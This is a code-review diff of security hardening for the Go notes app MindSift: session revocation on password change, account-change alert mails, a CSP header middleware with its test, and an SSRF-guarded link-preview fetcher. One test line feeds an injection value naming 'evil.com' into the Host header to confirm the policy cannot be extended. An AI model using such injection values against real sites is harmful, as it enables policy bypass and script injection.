|
||||
return
|
||||
}
|
||||
// Alarm URLs are checked before they are stored (SSRF protection, see netguard.go)
|
||||
allowPrivate := s.allowPrivateWebhooks()
|
||||
if req.DiscordWebhookURL != nil {
|
||||
@@ -470,7 +499,18 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
writeError(w, http.StatusInternalServerError, "Passwort konnte nicht gespeichert werden")
|
||||
return
|
||||
}
|
||||
// Every other device is logged out; this one keeps its session with a fresh token
|
||||
sid := sessionIDFrom(r)
|
||||
if err := s.store.RevokeOtherSessions(userID, sid); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Andere Sitzungen konnten nicht beendet werden")
|
||||
return
|
||||
}
|
||||
s.wsHub.DisconnectUser(userID)
|
||||
if fresh, err := s.store.GetUserByID(userID); err == nil {
|
||||
current := &auth.Claims{}
|
||||
current.ID = sid
|
||||
s.renewSessionToken(w, fresh, current, true)
|
||||
}
|
||||
}
|
||||
u, err := s.store.UpdateUserFull(
|
||||
userID,
|
||||
@@ -489,9 +529,59 @@ func (s *Server) handleUpdateUserSettings(w http.ResponseWriter, r *http.Request
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
if changesPassword || changesEmail {
|
||||
s.notifyAccountChange(before, changesPassword, changesEmail, u.Email)
|
||||
}
|
||||
if req.NotificationSettings != nil {
|
||||
if err := s.store.SetNotificationSettings(userID, *req.NotificationSettings); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Benachrichtigungen konnten nicht gespeichert werden")
|
||||
return
|
||||
}
|
||||
}
|
||||
ns := s.store.NotificationSettingsOf(userID)
|
||||
u.NotificationSettings = &ns
|
||||
writeJSON(w, http.StatusOK, u)
|
||||
}
|
||||
|
||||
// checkCurrentPassword verifies the current password for sensitive changes; wrong attempts count
|
||||
// towards the login protection, so this cannot be used to guess the password.
|
||||
func (s *Server) checkCurrentPassword(w http.ResponseWriter, r *http.Request, user *domain.User, password string) bool {
|
||||
ip := clientIPFrom(r)
|
||||
if wait := s.loginGuard.lockedFor(user.ID, ip); wait > 0 {
|
||||
writeLoginLocked(w, wait)
|
||||
return false
|
||||
}
|
||||
// A forgotten field is no guess and does not count as a failure
|
||||
if password == "" || !auth.CheckPassword(password, user.PasswordHash) {
|
||||
if password != "" {
|
||||
s.loginGuard.recordFailure(user.ID, ip)
|
||||
}
|
||||
writeError(w, http.StatusForbidden, "Bitte gib zur Bestätigung dein aktuelles Passwort richtig ein")
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// notifyAccountChange tells the previous address about a new password or e-mail address, so a
|
||||
// takeover does not go unnoticed. Only when mail is set up; errors are logged, never shown.
|
||||
func (s *Server) notifyAccountChange(before *domain.User, password, email bool, newEmail string) {
|
||||
if _, err := s.smtpSettings(); err != nil || before.Email == "" {
|
||||
return
|
||||
}
|
||||
var what []string
|
||||
if password {
|
||||
what = append(what, "dein Passwort wurde geändert")
|
||||
}
|
||||
if email {
|
||||
what = append(what, "die E-Mail-Adresse deines Kontos wurde auf "+newEmail+" geändert")
|
||||
}
|
||||
body := fmt.Sprintf("Hallo %s,\n\nin MindSift %s.\n\nWarst du das nicht, setze bitte sofort dein Passwort zurück und beende alle Sitzungen in den Kontoeinstellungen, oder wende dich an die Administration.\n",
|
||||
before.DisplayName, strings.Join(what, " und "))
|
||||
go func() {
|
||||
_ = s.sendEmailNotification(before.Email, "MindSift: Änderung an deinem Konto", body)
|
||||
}()
|
||||
}
|
||||
|
||||
func (s *Server) handleTestUserAlarm(w http.ResponseWriter, r *http.Request) {
|
||||
userID := auth.GetUserID(r.Context())
|
||||
user, err := s.store.GetUserByID(userID)
|
||||
|
||||
@@ -262,6 +262,9 @@ func (s *Server) handleCreateDocShare(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
if req.TeamID != "" {
|
||||
share, err := s.store.CreateDocTeamShare(userID, docID, req.TeamID, req.Permission)
|
||||
if err == nil {
|
||||
defer s.notifyShared(userID, "team", req.TeamID, "die Notiz", s.docTitle(userID, docID))
|
||||
}
|
||||
if err != nil {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
@@ -286,6 +289,7 @@ func (s *Server) handleCreateDocShare(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
s.notifyShared(userID, "user", share.UserID, "die Notiz", s.docTitle(userID, docID))
|
||||
s.broadcastDocToAuthorizedUsers(docID, "DOC_CREATED")
|
||||
s.broadcastDocToAuthorizedUsers(docID, "DOC_UPDATED")
|
||||
writeJSON(w, http.StatusCreated, share)
|
||||
@@ -313,3 +317,10 @@ func (s *Server) handleGetCollaborators(w http.ResponseWriter, r *http.Request)
|
||||
}
|
||||
writeJSON(w, http.StatusOK, users)
|
||||
}
|
||||
|
||||
func (s *Server) docTitle(userID, docID string) string {
|
||||
if d, err := s.store.GetDocumentByID(userID, docID); err == nil && d.Title != "" {
|
||||
return d.Title
|
||||
}
|
||||
return "Unbenannte Notiz"
|
||||
}
|
||||
@@ -212,6 +212,7 @@ func (s *Server) handleCreateFolderShare(w http.ResponseWriter, r *http.Request)
|
||||
writeError(w, http.StatusBadRequest, err.Error())
|
||||
return
|
||||
}
|
||||
s.notifyShared(userID, share.TargetType, share.TargetID, "den Ordner", s.store.SharedFolderName(folderID))
|
||||
s.wsHub.BroadcastToUsers(s.store.GetSharedFolderUserIDs(folderID), "WORKSPACE_FOLDERS_UPDATED", map[string]string{"folderId": folderID})
|
||||
if docIDs, err := s.store.GetSharedFolderDocIDs(folderID); err == nil {
|
||||
for _, docID := range docIDs {
|
||||
|
||||
@@ -54,7 +54,13 @@ func (s *Server) handleDeleteAPIKey(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// handleWebhookIngest accepts Smarthome / External automation webhooks via ?token=... or X-API-Key or Bearer token
|
||||
func (s *Server) handleWebhookIngest(w http.ResponseWriter, r *http.Request) {
|
||||
// In the URL only API keys are taken (devices that cannot set headers); a session token there would
|
||||
// end up in proxy logs as a full login (FLAW-35)
|
||||
token := r.URL.Query().Get("token")
|
||||
if token != "" && !strings.HasPrefix(token, "mindsift_sec_") {
|
||||
writeError(w, http.StatusUnauthorized, "In der URL sind nur API-Keys erlaubt; Sitzungs-Tokens gehören in den Authorization-Header")
|
||||
return
|
||||
}
|
||||
if token == "" {
|
||||
token = r.Header.Get("X-API-Key")
|
||||
}
|
||||
|
||||
@@ -107,6 +107,9 @@ func (s *Server) handleCreateListShare(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
if l, err := s.store.GetListByID(currentUserID, listID); err == nil {
|
||||
s.notifyShared(currentUserID, targetType, share.TargetID, "die Liste", l.Title)
|
||||
}
|
||||
if targetType == "team" {
|
||||
members, _ := s.store.GetTeamMembers(share.TargetID)
|
||||
for _, tm := range members {
|
||||
|
||||
@@ -125,6 +125,9 @@ func (s *Server) handleCreateTaskListShare(w http.ResponseWriter, r *http.Reques
|
||||
return
|
||||
}
|
||||
s.broadcastTaskListChange(listID, nil, "TASK_LIST_UPDATED")
|
||||
if tl, err := s.store.GetTaskListByID(userID, listID); err == nil {
|
||||
s.notifyShared(userID, req.TargetType, req.TargetID, "die Aufgabenliste", tl.Title)
|
||||
}
|
||||
writeJSON(w, http.StatusCreated, share)
|
||||
}
|
||||
|
||||
|
||||
@@ -94,6 +94,7 @@ func (s *Server) handleGetThoughts(w http.ResponseWriter, r *http.Request) {
|
||||
writeError(w, http.StatusInternalServerError, err.Error())
|
||||
return
|
||||
}
|
||||
s.markWatching(userID, thoughts)
|
||||
writeJSON(w, http.StatusOK, thoughts)
|
||||
}
|
||||
|
||||
@@ -278,6 +279,8 @@ func (s *Server) handleUpdateThought(w http.ResponseWriter, r *http.Request) {
|
||||
s.notifyDocChanged(docID, head)
|
||||
}
|
||||
s.wsHub.BroadcastToUsers(append(s.taskAudience(before), s.taskAudience(updated)...), "TASK_UPDATED", updated)
|
||||
s.notifyTaskChange(userID, before, updated, false)
|
||||
updated.IsWatching = s.store.WatchedTaskIDs(userID)[updated.ID]
|
||||
writeJSON(w, http.StatusOK, updated)
|
||||
}
|
||||
|
||||
@@ -304,6 +307,9 @@ func (s *Server) handleDeleteThought(w http.ResponseWriter, r *http.Request) {
|
||||
writeStoreError(w, http.StatusInternalServerError, err)
|
||||
return
|
||||
}
|
||||
if th != nil {
|
||||
s.notifyTaskChange(userID, th, nil, true)
|
||||
}
|
||||
s.wsHub.BroadcastToUsers(audience, "TASK_DELETED", map[string]string{"id": thoughtID})
|
||||
writeJSON(w, http.StatusOK, map[string]bool{"deleted": true})
|
||||
}
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// securityHeaders protects the browser side (FLAW-29):
|
||||
// - Content-Security-Policy: scripts only from MindSift itself, so injected markup cannot run code;
|
||||
// styles may be inline (custom themes, style attributes); images also from https (avatar URLs);
|
||||
// connections only to this server, including its WebSocket.
|
||||
// - frame-ancestors 'none' / X-Frame-Options: no embedding in other sites (clickjacking).
|
||||
// - nosniff, a same-origin referrer and a permissions policy that only allows the microphone
|
||||
// (speech input) for MindSift itself.
|
||||
func (s *Server) securityHeaders(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
h := w.Header()
|
||||
h.Set("Content-Security-Policy", contentSecurityPolicy(r.Host))
|
||||
h.Set("X-Frame-Options", "DENY")
|
||||
h.Set("X-Content-Type-Options", "nosniff")
|
||||
h.Set("Referrer-Policy", "same-origin")
|
||||
h.Set("Permissions-Policy", "microphone=(self), camera=(), geolocation=(), payment=()")
|
||||
next.ServeHTTP(w, r)
|
||||
})
|
||||
}
|
||||
|
||||
func contentSecurityPolicy(host string) string {
|
||||
connect := "'self'"
|
||||
// Older Safari versions do not count ws:/wss: as 'self'
|
||||
if host != "" && !strings.ContainsAny(host, " ;'\"") {
|
||||
connect += " wss://" + host + " ws://" + host
|
||||
}
|
||||
return strings.Join([]string{
|
||||
"default-src 'self'",
|
||||
"script-src 'self'",
|
||||
"style-src 'self' 'unsafe-inline'",
|
||||
"img-src 'self' data: blob: https:",
|
||||
"font-src 'self' data:",
|
||||
"connect-src " + connect,
|
||||
"worker-src 'self'",
|
||||
"manifest-src 'self'",
|
||||
"media-src 'self' blob:",
|
||||
"object-src 'none'",
|
||||
"base-uri 'self'",
|
||||
"form-action 'self'",
|
||||
"frame-ancestors 'none'",
|
||||
}, "; ")
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSecurityHeaders(t *testing.T) {
|
||||
srv, _, _ := setupTestServer(t)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil)
|
||||
req.Host = "notes.example.com"
|
||||
srv.Router().ServeHTTP(rec, req)
|
||||
csp := rec.Header().Get("Content-Security-Policy")
|
||||
for _, want := range []string{"script-src 'self'", "frame-ancestors 'none'", "object-src 'none'", "wss://notes.example.com"} {
|
||||
if !strings.Contains(csp, want) {
|
||||
t.Errorf("CSP lacks %q: %s", want, csp)
|
||||
}
|
||||
}
|
||||
if strings.Contains(csp, "unsafe-eval") || strings.Contains(strings.Split(strings.Split(csp, "script-src")[1], ";")[0], "unsafe-inline") {
|
||||
t.Errorf("scripts must not allow inline or eval: %s", csp)
|
||||
}
|
||||
for k, v := range map[string]string{"X-Frame-Options": "DENY", "X-Content-Type-Options": "nosniff", "Referrer-Policy": "same-origin"} {
|
||||
if rec.Header().Get(k) != v {
|
||||
t.Errorf("%s = %q, want %q", k, rec.Header().Get(k), v)
|
||||
}
|
||||
}
|
||||
// A Host header with quotes or semicolons must not be able to extend the policy
|
||||
if p := contentSecurityPolicy("evil.com; script-src *"); strings.Contains(p, "evil.com") {
|
||||
t.Errorf("host must not be copied into the policy unchecked: %s", p)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,294 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"html"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/sandrodach/mindsift/internal/storage"
|
||||
)
|
||||
|
||||
// Link previews for notes: the server fetches the page once (https only, never into its own network,
|
||||
// like alarm webhooks), reads title, description, picture and icon, and keeps them. Readers' browsers
|
||||
// only talk to MindSift. Off in the demo, which must not send anything out.
|
||||
|
||||
const (
|
||||
previewTTL = 7 * 24 * time.Hour
|
||||
previewFailTTL = 24 * time.Hour
|
||||
previewMaxHTML = 1 << 20
|
||||
previewMaxImage = 2 << 20
|
||||
previewMaxIcon = 100 << 10
|
||||
previewPerAddress = 300 // fetches per address in 15 minutes (cached answers do not count)
|
||||
)
|
||||
|
||||
var previewLocks sync.Map // URL -> *sync.Mutex, one fetch per page at a time
|
||||
|
||||
var (
|
||||
metaTagRe = regexp.MustCompile(`(?is)<meta\s[^>]*>`)
|
||||
linkTagRe = regexp.MustCompile(`(?is)<link\s[^>]*>`)
|
||||
titleTagRe = regexp.MustCompile(`(?is)<title[^>]*>(.*?)</title>`)
|
||||
attrRe = regexp.MustCompile(`(?is)([a-z:_-]+)\s*=\s*("([^"]*)"|'([^']*)'|([^\s>]+))`)
|
||||
headEndRe = regexp.MustCompile(`(?i)</head>|<body[\s>]`)
|
||||
spacesRe = regexp.MustCompile(`\s+`)
|
||||
)
|
||||
|
||||
func tagAttrs(tag string) map[string]string {
|
||||
out := map[string]string{}
|
||||
for _, m := range attrRe.FindAllStringSubmatch(tag, -1) {
|
||||
v := m[3]
|
||||
if v == "" {
|
||||
v = m[4]
|
||||
}
|
||||
if v == "" {
|
||||
v = m[5]
|
||||
}
|
||||
out[strings.ToLower(m[1])] = html.UnescapeString(v)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func cleanText(s string, max int) string {
|
||||
s = strings.TrimSpace(spacesRe.ReplaceAllString(html.UnescapeString(s), " "))
|
||||
if utf8.RuneCountInString(s) > max {
|
||||
r := []rune(s)
|
||||
s = strings.TrimSpace(string(r[:max-1])) + "…"
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// latin1ToUTF8 for pages that still declare ISO-8859-1/windows-1252.
|
||||
func latin1ToUTF8(b []byte) string {
|
||||
r := make([]rune, len(b))
|
||||
for i, c := range b {
|
||||
r[i] = rune(c)
|
||||
}
|
||||
return string(r)
|
||||
}
|
||||
|
||||
// pageMeta reads the head of an HTML page: Open Graph/Twitter tags, <title>, icon link.
|
||||
type pageMeta struct {
|
||||
title, description, siteName, image, icon string
|
||||
}
|
||||
|
||||
func parsePageMeta(doc string) pageMeta {
|
||||
if loc := headEndRe.FindStringIndex(doc); loc != nil {
|
||||
doc = doc[:loc[0]]
|
||||
}
|
||||
var m pageMeta
|
||||
for _, tag := range metaTagRe.FindAllString(doc, -1) {
|
||||
a := tagAttrs(tag)
|
||||
key := strings.ToLower(a["property"])
|
||||
if key == "" {
|
||||
key = strings.ToLower(a["name"])
|
||||
}
|
||||
v := a["content"]
|
||||
switch key {
|
||||
case "og:title", "twitter:title":
|
||||
if m.title == "" {
|
||||
m.title = v
|
||||
}
|
||||
case "og:description", "twitter:description", "description":
|
||||
if m.description == "" {
|
||||
m.description = v
|
||||
}
|
||||
case "og:site_name", "application-name":
|
||||
if m.siteName == "" {
|
||||
m.siteName = v
|
||||
}
|
||||
case "og:image", "og:image:url", "og:image:secure_url", "twitter:image":
|
||||
if m.image == "" {
|
||||
m.image = v
|
||||
}
|
||||
}
|
||||
}
|
||||
if m.title == "" {
|
||||
if t := titleTagRe.FindStringSubmatch(doc); t != nil {
|
||||
m.title = t[1]
|
||||
}
|
||||
}
|
||||
for _, tag := range linkTagRe.FindAllString(doc, -1) {
|
||||
a := tagAttrs(tag)
|
||||
rel := " " + strings.ToLower(a["rel"]) + " "
|
||||
if (strings.Contains(rel, " icon ") || strings.Contains(rel, "apple-touch-icon")) && a["href"] != "" && !strings.HasSuffix(strings.ToLower(a["href"]), ".svg") {
|
||||
if m.icon == "" || strings.Contains(rel, "apple-touch-icon") {
|
||||
m.icon = a["href"]
|
||||
}
|
||||
}
|
||||
}
|
||||
m.title, m.description, m.siteName = cleanText(m.title, 200), cleanText(m.description, 300), cleanText(m.siteName, 80)
|
||||
return m
|
||||
}
|
||||
|
||||
// fetchLimited GETs a public https URL and reads at most limit bytes.
|
||||
func fetchLimited(ctx context.Context, raw string, limit int64, accept string) ([]byte, http.Header, error) {
|
||||
if err := validateWebhookURL(raw, false, false); err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, raw, nil)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
req.Header.Set("Accept", accept)
|
||||
req.Header.Set("User-Agent", "Mozilla/5.0 (compatible; MindSift link preview)")
|
||||
req.Header.Set("Accept-Language", "de,en;q=0.8")
|
||||
resp, err := guardedClient(false).Do(req)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New(resp.Status)
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(resp.Body, limit+1))
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if int64(len(data)) > limit {
|
||||
return nil, nil, errors.New("zu groß")
|
||||
}
|
||||
return data, resp.Header, nil
|
||||
}
|
||||
|
||||
func resolveRef(base *url.URL, ref string) string {
|
||||
u, err := base.Parse(strings.TrimSpace(ref))
|
||||
if err != nil || (u.Scheme != "https" && u.Scheme != "http") {
|
||||
return ""
|
||||
}
|
||||
if u.Scheme == "http" {
|
||||
u.Scheme = "https" // only https is fetched; most sites answer there as well
|
||||
}
|
||||
return u.String()
|
||||
}
|
||||
|
||||
// buildLinkPreview fetches the page and its pictures.
|
||||
func buildLinkPreview(ctx context.Context, pageURL string) *storage.LinkPreview {
|
||||
p := &storage.LinkPreview{URL: pageURL}
|
||||
base, err := url.Parse(pageURL)
|
||||
if err != nil {
|
||||
return p
|
||||
}
|
||||
body, hdr, err := fetchLimited(ctx, pageURL, previewMaxHTML, "text/html,application/xhtml+xml")
|
||||
if err != nil {
|
||||
return p
|
||||
}
|
||||
ct := strings.ToLower(hdr.Get("Content-Type"))
|
||||
if !strings.Contains(ct, "html") {
|
||||
// A direct link to an image: the image itself is the preview
|
||||
if _, kind, ok := storage.DetectMedia(body, ""); ok && kind == "image" && len(body) <= previewMaxImage {
|
||||
p.Image, p.ImageMime, p.OK = body, http.DetectContentType(body), true
|
||||
p.Title = cleanText(strings.TrimSuffix(base.Path[strings.LastIndex(base.Path, "/")+1:], "/"), 200)
|
||||
p.SiteName = base.Hostname()
|
||||
}
|
||||
return p
|
||||
}
|
||||
text := string(body)
|
||||
if strings.Contains(ct, "iso-8859-1") || strings.Contains(ct, "windows-1252") || !utf8.Valid(body) {
|
||||
text = latin1ToUTF8(body)
|
||||
}
|
||||
meta := parsePageMeta(text)
|
||||
p.Title, p.Description, p.SiteName = meta.title, meta.description, meta.siteName
|
||||
if p.SiteName == "" {
|
||||
p.SiteName = strings.TrimPrefix(base.Hostname(), "www.")
|
||||
}
|
||||
if img := resolveRef(base, meta.image); img != "" {
|
||||
if data, _, err := fetchLimited(ctx, img, previewMaxImage, "image/*"); err == nil {
|
||||
if mime, kind, ok := storage.DetectMedia(data, ""); ok && kind == "image" {
|
||||
p.Image, p.ImageMime = data, mime
|
||||
}
|
||||
}
|
||||
}
|
||||
iconURL := resolveRef(base, meta.icon)
|
||||
if iconURL == "" {
|
||||
iconURL = resolveRef(base, "/favicon.ico")
|
||||
}
|
||||
if data, _, err := fetchLimited(ctx, iconURL, previewMaxIcon, "image/*"); err == nil {
|
||||
if mime := http.DetectContentType(data); strings.HasPrefix(mime, "image/") && mime != "image/svg+xml" {
|
||||
p.Icon, p.IconMime = data, mime
|
||||
}
|
||||
}
|
||||
p.OK = p.Title != "" || p.Description != "" || len(p.Image) > 0
|
||||
return p
|
||||
}
|
||||
|
||||
func previewFresh(p *storage.LinkPreview, now time.Time) bool {
|
||||
at, err := time.Parse(time.RFC3339, p.FetchedAt)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
ttl := previewTTL
|
||||
if !p.OK {
|
||||
ttl = previewFailTTL
|
||||
}
|
||||
return now.Sub(at) < ttl
|
||||
}
|
||||
|
||||
// handleLinkPreview: GET /link-preview?url=https://…
|
||||
func (s *Server) handleLinkPreview(w http.ResponseWriter, r *http.Request) {
|
||||
raw := strings.TrimSpace(r.URL.Query().Get("url"))
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Scheme != "https" || u.Host == "" || len(raw) > 2000 {
|
||||
writeError(w, http.StatusUnprocessableEntity, "Vorschau nur für https-Links")
|
||||
return
|
||||
}
|
||||
pageURL := u.String()
|
||||
key := storage.LinkPreviewKey(pageURL)
|
||||
if p, err := s.store.GetLinkPreview(key); err == nil && previewFresh(p, time.Now()) {
|
||||
writeJSON(w, http.StatusOK, p)
|
||||
return
|
||||
}
|
||||
|
||||
lock, _ := previewLocks.LoadOrStore(pageURL, &sync.Mutex{})
|
||||
mu := lock.(*sync.Mutex)
|
||||
mu.Lock()
|
||||
defer func() {
|
||||
mu.Unlock()
|
||||
previewLocks.Delete(pageURL)
|
||||
}()
|
||||
// Someone else may have fetched it while this request waited
|
||||
if p, err := s.store.GetLinkPreview(key); err == nil && previewFresh(p, time.Now()) {
|
||||
writeJSON(w, http.StatusOK, p)
|
||||
return
|
||||
}
|
||||
if wait := s.loginGuard.throttle("preview", clientIPFrom(r), previewPerAddress); wait > 0 {
|
||||
writeThrottled(w, wait)
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 20*time.Second)
|
||||
defer cancel()
|
||||
p := buildLinkPreview(ctx, pageURL)
|
||||
if err := s.store.SaveLinkPreview(p); err != nil {
|
||||
writeError(w, http.StatusInternalServerError, "Vorschau konnte nicht gespeichert werden")
|
||||
return
|
||||
}
|
||||
writeJSON(w, http.StatusOK, p)
|
||||
}
|
||||
|
||||
// handleLinkPreviewPicture: GET /link-preview/{key}/image or /icon
|
||||
func (s *Server) handleLinkPreviewPicture(w http.ResponseWriter, r *http.Request) {
|
||||
p, err := s.store.GetLinkPreview(chi.URLParam(r, "key"))
|
||||
if err != nil {
|
||||
writeError(w, http.StatusNotFound, "Kein Bild")
|
||||
return
|
||||
}
|
||||
data, mime := p.Image, p.ImageMime
|
||||
if chi.URLParam(r, "kind") == "icon" {
|
||||
data, mime = p.Icon, p.IconMime
|
||||
}
|
||||
if len(data) == 0 {
|
||||
writeError(w, http.StatusNotFound, "Kein Bild")
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", mime)
|
||||
w.Header().Set("Cache-Control", "private, max-age=86400")
|
||||
w.Header().Set("Content-Security-Policy", "default-src 'none'; sandbox")
|
||||
_, _ = w.Write(data)
|
||||
}
|
||||
Loaded 100 of 140 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user